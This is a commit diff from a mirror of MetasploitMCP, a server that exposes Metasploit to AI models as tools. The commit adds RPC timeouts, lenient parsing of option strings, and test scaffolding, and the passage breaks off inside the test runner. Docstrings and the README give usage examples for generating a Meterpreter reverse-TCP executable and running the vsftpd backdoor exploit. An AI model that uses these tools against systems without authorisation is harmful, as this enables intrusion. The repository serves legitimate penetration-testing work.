yindo/MetasploitMCP
1
0
Fork 0
mirror of https://github.com/GH05TCREW/MetasploitMCP.git synced 2026-07-19 13:36:43 -04:00
Code Issues 4 Packages Projects Releases Wiki Activity

Merge pull request #7 from cbdmaul/fix/timeout-handling-and-debugging

Browse Source 
Fix timeout handling and add debugging for MCP tools
This commit is contained in:
Masic
2025-08-17 21:09:33 -06:00
committed by GitHub
parent cb1eb5b011 4bed20d54d
commit bc38f6a276
13 changed files with 1966 additions and 25 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Makefile
+95
View File
@@ -0,0 +1,95 @@
# Makefile for MetasploitMCP testing and development
.PHONY: help install-deps test test-unit test-integration test-options test-helpers test-tools coverage clean lint format
# Default target
help:
@echo "Available targets:"
@echo " help - Show this help message"
@echo " install-deps - Install test dependencies"
@echo " test - Run all tests"
@echo " test-unit - Run unit tests only"
@echo " test-integration - Run integration tests only"
@echo " test-options - Run options parsing tests only"
@echo " test-helpers - Run helper function tests only"
@echo " test-tools - Run MCP tools tests only"
@echo " coverage - Run tests with coverage report"
@echo " coverage-html - Run tests with HTML coverage report"
@echo " lint - Run linting checks"
@echo " format - Format code"
@echo " clean - Clean up generated files"
# Install test dependencies
install-deps:
python -m pip install -r requirements-test.txt
# Test targets
test:
python run_tests.py --all
test-unit:
python run_tests.py --unit
test-integration:
python run_tests.py --integration
test-options:
python run_tests.py --options
test-helpers:
python run_tests.py --helpers
test-tools:
python run_tests.py --tools
# Coverage targets
coverage:
python run_tests.py --all --coverage
coverage-html:
python run_tests.py --all --coverage --html
@echo "Coverage report: file://$(PWD)/htmlcov/index.html"
# Code quality targets
lint:
@echo "Running flake8..."
-python -m flake8 MetasploitMCP.py tests/ --max-line-length=120 --ignore=E203,W503
@echo "Running pylint..."
-python -m pylint MetasploitMCP.py --disable=C0301,C0103,R0903,R0913
format:
@echo "Running black code formatter..."
-python -m black MetasploitMCP.py tests/ --line-length=120
@echo "Running isort import formatter..."
-python -m isort MetasploitMCP.py tests/
# Cleanup
clean:
rm -rf __pycache__/
rm -rf tests/__pycache__/
rm -rf .pytest_cache/
rm -rf htmlcov/
rm -rf .coverage
rm -rf *.pyc
rm -rf tests/*.pyc
find . -name "*.pyc" -delete
find . -name "__pycache__" -type d -exec rm -rf {} +
# Development targets
dev-setup: install-deps
@echo "Development environment setup complete"
check: lint test
@echo "All checks passed!"
# CI/CD targets
ci-test:
python run_tests.py --all --coverage --verbose
# Quick test (no coverage)
quick-test:
pytest tests/ -x -v
# Test with failure details
test-debug:
pytest tests/ -v --tb=long --capture=no
MetasploitMCP.py
+241 -25
View File
@@ -32,7 +32,7 @@ logger = logging.getLogger("metasploit_mcp_server")
session_shell_type: Dict[str, str] = {}
# Metasploit Connection Config (from environment variables)
MSF_PASSWORD = os.environ.get('MSF_PASSWORD', 'yourpassword')
MSF_PASSWORD = os.getenv('MSF_PASSWORD', 'yourpassword')
MSF_SERVER = os.getenv('MSF_SERVER', '127.0.0.1')
MSF_PORT_STR = os.getenv('MSF_PORT', '55553')
MSF_SSL_STR = os.getenv('MSF_SSL', 'false')
@@ -45,6 +45,7 @@ SESSION_COMMAND_TIMEOUT = 60 # Default for commands within sessions
SESSION_READ_INACTIVITY_TIMEOUT = 10 # Timeout if no data from session
EXPLOIT_SESSION_POLL_TIMEOUT = 60 # Max time to wait for session after exploit job
EXPLOIT_SESSION_POLL_INTERVAL = 2 # How often to check for session
RPC_CALL_TIMEOUT = 30 # Default timeout for RPC calls like listing modules
# Regular Expressions for Prompt Detection
MSF_PROMPT_RE = re.compile(rb'\x01\x02msf\d+\x01\x02 \x01\x02> \x01\x02') # Matches the msf6 > prompt with control chars
@@ -73,6 +74,7 @@ def initialize_msf_client() -> MsfRpcClient:
raise ValueError("Invalid MSF connection parameters") from e
try:
logger.debug(f"Attempting to create MsfRpcClient connection to {MSF_SERVER}:{msf_port} (SSL: {msf_ssl})...")
client = MsfRpcClient(
password=MSF_PASSWORD,
server=MSF_SERVER,
@@ -80,6 +82,7 @@ def initialize_msf_client() -> MsfRpcClient:
ssl=msf_ssl
)
# Test connection during initialization
logger.debug("Testing connection with core.version call...")
version_info = client.core.version
msf_version = version_info.get('version', 'unknown') if isinstance(version_info, dict) else 'unknown'
logger.info(f"Successfully connected to Metasploit RPC at {MSF_SERVER}:{msf_port} (SSL: {msf_ssl}), version: {msf_version}")
@@ -95,9 +98,61 @@ def initialize_msf_client() -> MsfRpcClient:
def get_msf_client() -> MsfRpcClient:
"""Gets the initialized MSF client instance, raising an error if not ready."""
if _msf_client_instance is None:
logger.error("Metasploit client has not been initialized. Check MSF server connection.")
raise ConnectionError("Metasploit client has not been initialized.") # Strict check preferred
logger.debug("Retrieved MSF client instance successfully.")
return _msf_client_instance
async def check_msf_connection() -> Dict[str, Any]:
"""
Check the current status of the Metasploit RPC connection.
Returns connection status information for debugging.
"""
try:
client = get_msf_client()
logger.debug(f"Testing MSF connection with {RPC_CALL_TIMEOUT}s timeout...")
version_info = await asyncio.wait_for(
asyncio.to_thread(lambda: client.core.version),
timeout=RPC_CALL_TIMEOUT
)
msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A'
return {
"status": "connected",
"server": f"{MSF_SERVER}:{MSF_PORT_STR}",
"ssl": MSF_SSL_STR,
"version": msf_version,
"message": "Connection to Metasploit RPC is healthy"
}
except asyncio.TimeoutError:
return {
"status": "timeout",
"server": f"{MSF_SERVER}:{MSF_PORT_STR}",
"ssl": MSF_SSL_STR,
"timeout_seconds": RPC_CALL_TIMEOUT,
"message": f"Metasploit server not responding within {RPC_CALL_TIMEOUT}s timeout"
}
except ConnectionError as e:
return {
"status": "not_initialized",
"server": f"{MSF_SERVER}:{MSF_PORT_STR}",
"ssl": MSF_SSL_STR,
"message": f"Metasploit client not initialized: {e}"
}
except MsfRpcError as e:
return {
"status": "rpc_error",
"server": f"{MSF_SERVER}:{MSF_PORT_STR}",
"ssl": MSF_SSL_STR,
"message": f"Metasploit RPC error: {e}"
}
except Exception as e:
return {
"status": "error",
"server": f"{MSF_SERVER}:{MSF_PORT_STR}",
"ssl": MSF_SSL_STR,
"message": f"Unexpected error: {e}"
}
@contextlib.asynccontextmanager
async def get_msf_console() -> MsfConsole:
"""
@@ -233,11 +288,107 @@ async def run_command_safely(console: MsfConsole, cmd: str, execution_timeout: O
logger.exception(f"Error executing console command '{cmd}'")
raise RuntimeError(f"Failed executing console command '{cmd}': {e}") from e
from mcp.server.session import ServerSession
####################################################################################
# Temporary monkeypatch which avoids crashing when a POST message is received
# before a connection has been initialized, e.g: after a deployment.
# pylint: disable-next=protected-access
old__received_request = ServerSession._received_request
async def _received_request(self, *args, **kwargs):
try:
return await old__received_request(self, *args, **kwargs)
except RuntimeError:
pass
# pylint: disable-next=protected-access
ServerSession._received_request = _received_request
####################################################################################
# --- MCP Server Initialization ---
mcp = FastMCP("Metasploit Tools Enhanced (Streamlined)")
# --- Internal Helper Functions ---
def _parse_options_gracefully(options: Union[Dict[str, Any], str, None]) -> Dict[str, Any]:
"""
Gracefully parse options from different formats.
Handles:
- Dict format (correct): {"key": "value", "key2": "value2"}
- String format (common mistake): "key=value,key=value"
- None: returns empty dict
Args:
options: Options in dict format, string format, or None
Returns:
Dictionary of parsed options
Raises:
ValueError: If string format is malformed
"""
if options is None:
return {}
if isinstance(options, dict):
# Already correct format
return options
if isinstance(options, str):
# Handle the common mistake format: "key=value,key=value"
if not options.strip():
return {}
logger.info(f"Converting string format options to dict: {options}")
parsed_options = {}
try:
# Split by comma and then by equals
pairs = [pair.strip() for pair in options.split(',') if pair.strip()]
for pair in pairs:
if '=' not in pair:
raise ValueError(f"Invalid option format: '{pair}' (missing '=')")
key, value = pair.split('=', 1) # Split only on first '='
key = key.strip()
value = value.strip()
# Validate key is not empty
if not key:
raise ValueError(f"Invalid option format: '{pair}' (empty key)")
# Remove quotes if they wrap the entire value
if (value.startswith('"') and value.endswith('"')) or \
(value.startswith("'") and value.endswith("'")):
value = value[1:-1]
# Basic type conversion
if value.lower() in ('true', 'false'):
value = value.lower() == 'true'
elif value.isdigit():
try:
value = int(value)
except ValueError:
pass # Keep as string if conversion fails
parsed_options[key] = value
logger.info(f"Successfully converted string options to dict: {parsed_options}")
return parsed_options
except Exception as e:
raise ValueError(f"Failed to parse options string '{options}': {e}. Expected format: 'key=value,key2=value2' or dict {{'key': 'value'}}")
# For any other type, try to convert to dict
try:
return dict(options)
except (TypeError, ValueError) as e:
raise ValueError(f"Options must be a dictionary or comma-separated string format 'key=value,key2=value2'. Got {type(options)}: {options}")
async def _get_module_object(module_type: str, module_name: str) -> Any:
"""Gets the MSF module object, handling potential path variations."""
client = get_msf_client()
@@ -591,7 +742,12 @@ async def list_exploits(search_term: str = "") -> List[str]:
client = get_msf_client()
logger.info(f"Listing exploits (search term: '{search_term or 'None'}')")
try:
exploits = await asyncio.to_thread(lambda: client.modules.exploits)
# Add timeout to prevent hanging on slow/unresponsive MSF server
logger.debug(f"Calling client.modules.exploits with {RPC_CALL_TIMEOUT}s timeout...")
exploits = await asyncio.wait_for(
asyncio.to_thread(lambda: client.modules.exploits),
timeout=RPC_CALL_TIMEOUT
)
logger.debug(f"Retrieved {len(exploits)} total exploits from MSF.")
if search_term:
term_lower = search_term.lower()
@@ -604,9 +760,13 @@ async def list_exploits(search_term: str = "") -> List[str]:
limit = 100
logger.info(f"No search term provided, returning first {limit} exploits.")
return exploits[:limit]
except asyncio.TimeoutError:
error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing exploits from Metasploit server. Server may be slow or unresponsive."
logger.error(error_msg)
return [f"Error: {error_msg}"]
except MsfRpcError as e:
logger.error(f"Failed to list exploits from Metasploit: {e}")
return [f"Error: Failed to list exploits: {e}"]
logger.error(f"Metasploit RPC error while listing exploits: {e}")
return [f"Error: Metasploit RPC error: {e}"]
except Exception as e:
logger.exception("Unexpected error listing exploits.")
return [f"Error: Unexpected error listing exploits: {e}"]
@@ -626,7 +786,12 @@ async def list_payloads(platform: str = "", arch: str = "") -> List[str]:
client = get_msf_client()
logger.info(f"Listing payloads (platform: '{platform or 'Any'}', arch: '{arch or 'Any'}')")
try:
payloads = await asyncio.to_thread(lambda: client.modules.payloads)
# Add timeout to prevent hanging on slow/unresponsive MSF server
logger.debug(f"Calling client.modules.payloads with {RPC_CALL_TIMEOUT}s timeout...")
payloads = await asyncio.wait_for(
asyncio.to_thread(lambda: client.modules.payloads),
timeout=RPC_CALL_TIMEOUT
)
logger.debug(f"Retrieved {len(payloads)} total payloads from MSF.")
filtered = payloads
if platform:
@@ -642,9 +807,13 @@ async def list_payloads(platform: str = "", arch: str = "") -> List[str]:
limit = 100
logger.info(f"Found {count} payloads matching filters. Returning max {limit}.")
return filtered[:limit]
except asyncio.TimeoutError:
error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing payloads from Metasploit server. Server may be slow or unresponsive."
logger.error(error_msg)
return [f"Error: {error_msg}"]
except MsfRpcError as e:
logger.error(f"Failed to list payloads from Metasploit: {e}")
return [f"Error: Failed to list payloads: {e}"]
logger.error(f"Metasploit RPC error while listing payloads: {e}")
return [f"Error: Metasploit RPC error: {e}"]
except Exception as e:
logger.exception("Unexpected error listing payloads.")
return [f"Error: Unexpected error listing payloads: {e}"]
@@ -653,7 +822,7 @@ async def list_payloads(platform: str = "", arch: str = "") -> List[str]:
async def generate_payload(
payload_type: str,
format_type: str,
options: Dict[str, Any], # Required: e.g., {"LHOST": "1.2.3.4", "LPORT": 4444}
options: Union[Dict[str, Any], str], # Required: e.g., {"LHOST": "1.2.3.4", "LPORT": 4444} or "LHOST=1.2.3.4,LPORT=4444"
encoder: Optional[str] = None,
iterations: int = 0,
bad_chars: str = "",
@@ -670,7 +839,8 @@ async def generate_payload(
Args:
payload_type: Type of payload (e.g., windows/meterpreter/reverse_tcp).
format_type: Output format (raw, exe, python, etc.).
options: Dictionary of required payload options (e.g., LHOST, LPORT). MUST be provided.
options: Dictionary of required payload options (e.g., {"LHOST": "1.2.3.4", "LPORT": 4444})
or string format "LHOST=1.2.3.4,LPORT=4444". Prefer dict format.
encoder: Optional encoder to use.
iterations: Optional number of encoding iterations.
bad_chars: Optional string of bad characters to avoid (e.g., '\\x00\\x0a\\x0d').
@@ -686,7 +856,13 @@ async def generate_payload(
client = get_msf_client()
logger.info(f"Generating payload '{payload_type}' (Format: {format_type}) via RPC. Options: {options}")
if not options:
# Parse options gracefully
try:
parsed_options = _parse_options_gracefully(options)
except ValueError as e:
return {"status": "error", "message": f"Invalid options format: {e}"}
if not parsed_options:
return {"status": "error", "message": "Payload 'options' dictionary (e.g., LHOST, LPORT) is required."}
try:
@@ -694,7 +870,7 @@ async def generate_payload(
payload = await _get_module_object('payload', payload_type)
# Set payload-specific required options (like LHOST/LPORT)
await _set_module_options(payload, options)
await _set_module_options(payload, parsed_options)
# Set payload generation options in payload.runoptions
# as per the pymetasploit3 documentation
@@ -809,7 +985,7 @@ async def run_exploit(
module_name: str,
options: Dict[str, Any],
payload_name: Optional[str] = None,
payload_options: Optional[Dict[str, Any]] = None,
payload_options: Optional[Union[Dict[str, Any], str]] = None,
run_as_job: bool = False,
check_vulnerability: bool = False, # New option
timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT # Used only if run_as_job=False
@@ -822,7 +998,8 @@ async def run_exploit(
module_name: Name/path of the exploit module (e.g., 'unix/ftp/vsftpd_234_backdoor').
options: Dictionary of exploit module options (e.g., {'RHOSTS': '192.168.1.1'}).
payload_name: Name of the payload (e.g., 'linux/x86/meterpreter/reverse_tcp').
payload_options: Dictionary of payload options (e.g., {'LHOST': '...', 'LPORT': ...}).
payload_options: Dictionary of payload options (e.g., {'LHOST': '...', 'LPORT': ...})
or string format "LHOST=1.2.3.4,LPORT=4444". Prefer dict format.
run_as_job: If False (default), run sync via console. If True, run async via RPC.
check_vulnerability: If True, run module's 'check' action first (if available).
timeout_seconds: Max time for synchronous run via console.
@@ -832,9 +1009,15 @@ async def run_exploit(
"""
logger.info(f"Request to run exploit '{module_name}'. Job: {run_as_job}, Check: {check_vulnerability}, Payload: {payload_name}")
# Parse payload options gracefully
try:
parsed_payload_options = _parse_options_gracefully(payload_options)
except ValueError as e:
return {"status": "error", "message": f"Invalid payload_options format: {e}"}
payload_spec = None
if payload_name:
payload_spec = {"name": payload_name, "options": payload_options or {}}
payload_spec = {"name": payload_name, "options": parsed_payload_options}
if check_vulnerability:
logger.info(f"Performing vulnerability check first for {module_name}...")
@@ -853,6 +1036,9 @@ async def run_exploit(
is_vulnerable = "appears vulnerable" in output or "is vulnerable" in output or "+ vulnerable" in output
# Check for negative indicators (more reliable sometimes)
is_not_vulnerable = "does not appear vulnerable" in output or "is not vulnerable" in output or "target is not vulnerable" in output or "check failed" in output
if check_result.get('status') == "errror":
logger.warning(f"Error from metasploit: {check_result}")
return {"status": "aborted", "message": f"Check indicates a failure: {check_result.get('message')}", "check_output": check_result.get("module_output")}
if is_not_vulnerable or (not is_vulnerable and check_result.get("status") == "error"):
logger.warning(f"Check indicates target is likely not vulnerable to {module_name}.")
@@ -1013,7 +1199,11 @@ async def list_active_sessions() -> Dict[str, Any]:
client = get_msf_client()
logger.info("Listing active Metasploit sessions.")
try:
sessions_dict = await asyncio.to_thread(lambda: client.sessions.list)
logger.debug(f"Calling client.sessions.list with {RPC_CALL_TIMEOUT}s timeout...")
sessions_dict = await asyncio.wait_for(
asyncio.to_thread(lambda: client.sessions.list),
timeout=RPC_CALL_TIMEOUT
)
if not isinstance(sessions_dict, dict):
logger.error(f"Expected dict from sessions.list, got {type(sessions_dict)}")
return {"status": "error", "message": f"Unexpected data type for sessions list: {type(sessions_dict)}"}
@@ -1022,9 +1212,13 @@ async def list_active_sessions() -> Dict[str, Any]:
# Ensure keys are strings for consistent JSON
sessions_dict_str_keys = {str(k): v for k, v in sessions_dict.items()}
return {"status": "success", "sessions": sessions_dict_str_keys, "count": len(sessions_dict_str_keys)}
except asyncio.TimeoutError:
error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing sessions from Metasploit server. Server may be slow or unresponsive."
logger.error(error_msg)
return {"status": "error", "message": error_msg}
except MsfRpcError as e:
logger.error(f"Failed to list sessions: {e}")
return {"status": "error", "message": f"Error listing sessions: {e}"}
logger.error(f"Metasploit RPC error while listing sessions: {e}")
return {"status": "error", "message": f"Metasploit RPC error: {e}"}
except Exception as e:
logger.exception("Unexpected error listing sessions.")
return {"status": "error", "message": f"Unexpected error listing sessions: {e}"}
@@ -1207,7 +1401,11 @@ async def list_listeners() -> Dict[str, Any]:
client = get_msf_client()
logger.info("Listing active listeners/jobs")
try:
jobs = await asyncio.to_thread(lambda: client.jobs.list)
logger.debug(f"Calling client.jobs.list with {RPC_CALL_TIMEOUT}s timeout...")
jobs = await asyncio.wait_for(
asyncio.to_thread(lambda: client.jobs.list),
timeout=RPC_CALL_TIMEOUT
)
if not isinstance(jobs, dict):
logger.error(f"Unexpected data type for jobs list: {type(jobs)}")
return {"status": "error", "message": f"Unexpected data type for jobs list: {type(jobs)}"}
@@ -1252,9 +1450,13 @@ async def list_listeners() -> Dict[str, Any]:
"total_job_count": len(jobs)
}
except asyncio.TimeoutError:
error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing jobs from Metasploit server. Server may be slow or unresponsive."
logger.error(error_msg)
return {"status": "error", "message": error_msg}
except MsfRpcError as e:
logger.error(f"Error listing jobs/handlers: {e}")
return {"status": "error", "message": f"Error listing jobs: {e}"}
logger.error(f"Metasploit RPC error while listing jobs/handlers: {e}")
return {"status": "error", "message": f"Metasploit RPC error: {e}"}
except Exception as e:
logger.exception("Unexpected error listing jobs/handlers.")
return {"status": "error", "message": f"Unexpected server error listing jobs: {e}"}
@@ -1264,7 +1466,7 @@ async def start_listener(
payload_type: str,
lhost: str,
lport: int,
additional_options: Optional[Dict[str, Any]] = None,
additional_options: Optional[Union[Dict[str, Any], str]] = None,
exit_on_session: bool = False # Option to keep listener running
) -> Dict[str, Any]:
"""
@@ -1274,7 +1476,8 @@ async def start_listener(
payload_type: The payload to handle (e.g., 'windows/meterpreter/reverse_tcp').
lhost: Listener host address.
lport: Listener port (1-65535).
additional_options: Optional dict of additional payload options (e.g., LURI, HandlerSSLCert).
additional_options: Optional dict of additional payload options (e.g., {"LURI": "/path"})
or string format "LURI=/path,HandlerSSLCert=cert.pem". Prefer dict format.
exit_on_session: If True, handler exits after first session. If False (default), it keeps running.
Returns:
@@ -1285,10 +1488,16 @@ async def start_listener(
if not (1 <= lport <= 65535):
return {"status": "error", "message": "Invalid LPORT. Must be between 1 and 65535."}
# Parse additional options gracefully
try:
parsed_additional_options = _parse_options_gracefully(additional_options)
except ValueError as e:
return {"status": "error", "message": f"Invalid additional_options format: {e}"}
# exploit/multi/handler options
module_options = {'ExitOnSession': exit_on_session}
# Payload options (passed within the payload_spec)
payload_options = additional_options or {}
payload_options = parsed_additional_options
payload_options['LHOST'] = lhost
payload_options['LPORT'] = lport
@@ -1458,12 +1667,19 @@ async def health_check():
"""Check connectivity to the Metasploit RPC service."""
try:
client = get_msf_client() # Will raise ConnectionError if not init
logger.debug("Executing health check MSF call (core.version)...")
logger.debug(f"Executing health check MSF call (core.version) with {RPC_CALL_TIMEOUT}s timeout...")
# Use a lightweight call like core.version
version_info = await asyncio.to_thread(lambda: client.core.version)
version_info = await asyncio.wait_for(
asyncio.to_thread(lambda: client.core.version),
timeout=RPC_CALL_TIMEOUT
)
msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A'
logger.info(f"Health check successful. MSF Version: {msf_version}")
return {"status": "ok", "msf_version": msf_version}
except asyncio.TimeoutError:
error_msg = f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding"
logger.error(error_msg)
raise HTTPException(status_code=503, detail=error_msg)
except (MsfRpcError, ConnectionError) as e:
logger.error(f"Health check failed - MSF RPC connection error: {e}")
raise HTTPException(status_code=503, detail=f"Metasploit Service Unavailable: {e}")
README.md
+123
View File
@@ -160,6 +160,129 @@ This tool provides direct access to Metasploit Framework capabilities, which inc
3. Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})`
4. Stop a handler: `stop_job(1)`
## Testing
This project includes comprehensive unit and integration tests to ensure reliability and maintainability.
### Prerequisites for Testing
Install test dependencies:
```bash
pip install -r requirements-test.txt
```
Or use the convenient installer:
```bash
python run_tests.py --install-deps
# OR
make install-deps
```
### Running Tests
#### Quick Commands
```bash
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
```
#### Specific Test Suites
```bash
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
```
#### Test Options
```bash
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
```
### Test Structure
- **`tests/test_options_parsing.py`**: Unit tests for the graceful options parsing functionality
- **`tests/test_helpers.py`**: Unit tests for internal helper functions and MSF client management
- **`tests/test_tools_integration.py`**: Integration tests for all MCP tools with mocked Metasploit backend
- **`conftest.py`**: Shared test fixtures and configuration
- **`pytest.ini`**: Pytest configuration with coverage settings
### Test Features
- **Comprehensive Mocking**: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
- **Async Support**: Full async/await testing support using pytest-asyncio
- **Coverage Reporting**: Detailed coverage analysis with HTML reports
- **Parametrized Tests**: Efficient testing of multiple input scenarios
- **Fixture Management**: Reusable test fixtures for common setup scenarios
### Coverage Reports
After running tests with coverage, reports are available in:
- **Terminal**: Coverage summary displayed after test run
- **HTML**: `htmlcov/index.html` (when using `--html` option)
### CI/CD Integration
For continuous integration:
```bash
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
```
## Configuration Options
### Payload Save Directory
bash.exe.stackdump
+16
View File
@@ -0,0 +1,16 @@
Stack trace:
Frame Function Args
000FFFFCD30 00210062B0E (0021028A770, 00210275E51, 00000000059, 000FFFFB690)
000FFFFCD30 0021004846A (00210278640, 00200000000, 00000000000, 00000000001)
000FFFFCD30 002100484A2 (00000000000, 00000000000, 00000000059, 00800440042)
000FFFFCD30 0021006E496 (00210045323, 002103588D0, 00000000000, 0000000000D)
000FFFFCD30 0021006E4A9 (00210045170, 0021023D7E0, 002100448F2, 000FFFFC890)
000FFFFCD30 00210070DE4 (00000000013, 00000000001, 000FFFFC890, 00210278640)
000FFFFCD30 0021005AB65 (000FFFFC9E0, 00000000000, 00000000000, 008FFFFFFFF)
000FFFFCD30 0021005B335 (00000000002, 00200001000, 00200000004, 00000000030)
000FFFFCD30 0021005B847 (002100DF73E, 00000000000, 00000000000, 00000000000)
000FFFFCD30 0021005BB86 (00210142BC0, 00000000000, FFFFFFFFFFFFFF40, 00200000000)
000FFFFCD30 00210048C0C (00000000000, 00000000000, 00000000000, 00000000000)
000FFFFFFF0 00210047716 (00000000000, 00000000000, 00000000000, 00000000000)
000FFFFFFF0 002100477C4 (00000000000, 00000000000, 00000000000, 00000000000)
End of stack trace
conftest.py
+157
View File
@@ -0,0 +1,157 @@
#!/usr/bin/env python3
"""
Pytest configuration and shared fixtures for MetasploitMCP tests.
"""
import pytest
import sys
import os
from unittest.mock import Mock, patch
# Add the project root to Python path
sys.path.insert(0, os.path.dirname(__file__))
def pytest_configure(config):
"""Configure pytest with custom settings."""
# Mock external dependencies that might not be available
mock_modules = [
'uvicorn',
'fastapi',
'mcp.server.fastmcp',
'mcp.server.sse',
'pymetasploit3.msfrpc',
'starlette.applications',
'starlette.routing',
'mcp.server.session'
]
for module in mock_modules:
if module not in sys.modules:
sys.modules[module] = Mock()
def pytest_collection_modifyitems(config, items):
"""Modify test collection to add markers automatically."""
for item in items:
# Add unit marker to test_options_parsing and test_helpers
if "test_options_parsing" in item.nodeid or "test_helpers" in item.nodeid:
item.add_marker(pytest.mark.unit)
# Add integration marker to integration tests
if "test_tools_integration" in item.nodeid:
item.add_marker(pytest.mark.integration)
# Mark network tests
if "network" in item.name.lower():
item.add_marker(pytest.mark.network)
# Mark slow tests
if any(keyword in item.name.lower() for keyword in ["slow", "timeout", "long"]):
item.add_marker(pytest.mark.slow)
@pytest.fixture(scope="session")
def mock_msf_environment():
"""Session-scoped fixture that provides a complete mock MSF environment."""
class MockMsfRpcClient:
def __init__(self):
self.modules = Mock()
self.core = Mock()
self.sessions = Mock()
self.jobs = Mock()
self.consoles = Mock()
# Default return values
self.core.version = {'version': '6.3.0'}
self.modules.exploits = []
self.modules.payloads = []
self.sessions.list.return_value = {}
self.jobs.list.return_value = {}
class MockMsfConsole:
def __init__(self, cid='test-console'):
self.cid = cid
def read(self):
return {'data': '', 'prompt': 'msf6 > ', 'busy': False}
def write(self, command):
return True
class MockMsfRpcError(Exception):
pass
# Apply mocks
with patch.dict('sys.modules', {
'pymetasploit3.msfrpc': Mock(
MsfRpcClient=MockMsfRpcClient,
MsfConsole=MockMsfConsole,
MsfRpcError=MockMsfRpcError
)
}):
yield {
'client_class': MockMsfRpcClient,
'console_class': MockMsfConsole,
'error_class': MockMsfRpcError
}
@pytest.fixture
def mock_logger():
"""Fixture providing a mock logger."""
with patch('MetasploitMCP.logger') as mock_log:
yield mock_log
@pytest.fixture
def temp_payload_dir(tmp_path):
"""Fixture providing a temporary directory for payload saves."""
payload_dir = tmp_path / "payloads"
payload_dir.mkdir()
with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', str(payload_dir)):
yield str(payload_dir)
@pytest.fixture
def mock_asyncio_to_thread():
"""Fixture to mock asyncio.to_thread for testing."""
async def mock_to_thread(func, *args, **kwargs):
return func(*args, **kwargs)
with patch('asyncio.to_thread', side_effect=mock_to_thread):
yield
@pytest.fixture
def capture_logs(caplog):
"""Fixture to capture and provide log output."""
import logging
caplog.set_level(logging.DEBUG)
return caplog
# Command line options
def pytest_addoption(parser):
"""Add custom command line options."""
parser.addoption(
"--run-slow",
action="store_true",
default=False,
help="Run slow tests"
)
parser.addoption(
"--run-network",
action="store_true",
default=False,
help="Run tests that require network access"
)
def pytest_runtest_setup(item):
"""Setup hook to skip tests based on markers and options."""
if "slow" in item.keywords and not item.config.getoption("--run-slow"):
pytest.skip("Skipping slow test (use --run-slow to run)")
if "network" in item.keywords and not item.config.getoption("--run-network"):
pytest.skip("Skipping network test (use --run-network to run)")
# Test environment setup
@pytest.fixture(autouse=True)
def reset_msf_client():
"""Automatically reset the global MSF client between tests."""
with patch('MetasploitMCP._msf_client_instance', None):
yield
pytest.ini
+38
View File
@@ -0,0 +1,38 @@
[tool:pytest]
# Pytest configuration for MetasploitMCP
# Test discovery
testpaths = tests
python_files = test_*.py
python_classes = Test*
python_functions = test_*
# Output and reporting
addopts =
-v
--tb=short
--strict-markers
--disable-warnings
--cov=MetasploitMCP
--cov-report=term-missing
--cov-report=html:htmlcov
--cov-fail-under=80
# Async test support
asyncio_mode = auto
# Markers
markers =
unit: Unit tests for individual functions
integration: Integration tests for full workflows
slow: Tests that take longer to run
network: Tests that require network access (disabled by default)
# Minimum version
minversion = 7.0
# Filter warnings
filterwarnings =
ignore::DeprecationWarning
ignore::PendingDeprecationWarning
ignore:.*unclosed.*:ResourceWarning
requirements-test.txt
+6
View File
@@ -0,0 +1,6 @@
# Testing dependencies for MetasploitMCP
pytest>=7.0.0
pytest-asyncio>=0.21.0
pytest-mock>=3.10.0
pytest-cov>=4.0.0
mock>=4.0.3
requirements.txt
+1
View File
@@ -2,3 +2,4 @@ fastapi>=0.95.0
uvicorn[standard]>=0.22.0
pymetasploit3>=1.0.6
mcp>=1.6.0
fastmcp>=2.10.3
run_tests.py
+129
View File
@@ -0,0 +1,129 @@
#!/usr/bin/env python3
"""
Test runner script for MetasploitMCP.
Provides convenient commands for running different test suites.
"""
import sys
import os
import argparse
import subprocess
from pathlib import Path
def run_command(cmd, description=""):
"""Run a command and handle errors."""
if description:
print(f"\n🔄 {description}")
print(f"Running: {' '.join(cmd)}")
try:
result = subprocess.run(cmd, check=True, capture_output=True, text=True)
print("✅ Success!")
if result.stdout:
print(result.stdout)
return True
except subprocess.CalledProcessError as e:
print(f"❌ Failed with exit code {e.returncode}")
if e.stdout:
print("STDOUT:", e.stdout)
if e.stderr:
print("STDERR:", e.stderr)
return False
def check_dependencies():
"""Check if test dependencies are installed."""
try:
import pytest
import pytest_asyncio
import pytest_mock
import pytest_cov
return True
except ImportError as e:
print(f"❌ Missing test dependency: {e}")
print("💡 Install test dependencies with: pip install -r requirements-test.txt")
return False
def main():
parser = argparse.ArgumentParser(description="MetasploitMCP Test Runner")
parser.add_argument("--all", action="store_true", help="Run all tests")
parser.add_argument("--unit", action="store_true", help="Run unit tests only")
parser.add_argument("--integration", action="store_true", help="Run integration tests only")
parser.add_argument("--options", action="store_true", help="Run options parsing tests only")
parser.add_argument("--helpers", action="store_true", help="Run helper function tests only")
parser.add_argument("--tools", action="store_true", help="Run MCP tools tests only")
parser.add_argument("--coverage", action="store_true", help="Generate coverage report")
parser.add_argument("--html", action="store_true", help="Generate HTML coverage report")
parser.add_argument("--slow", action="store_true", help="Include slow tests")
parser.add_argument("--network", action="store_true", help="Include network tests")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
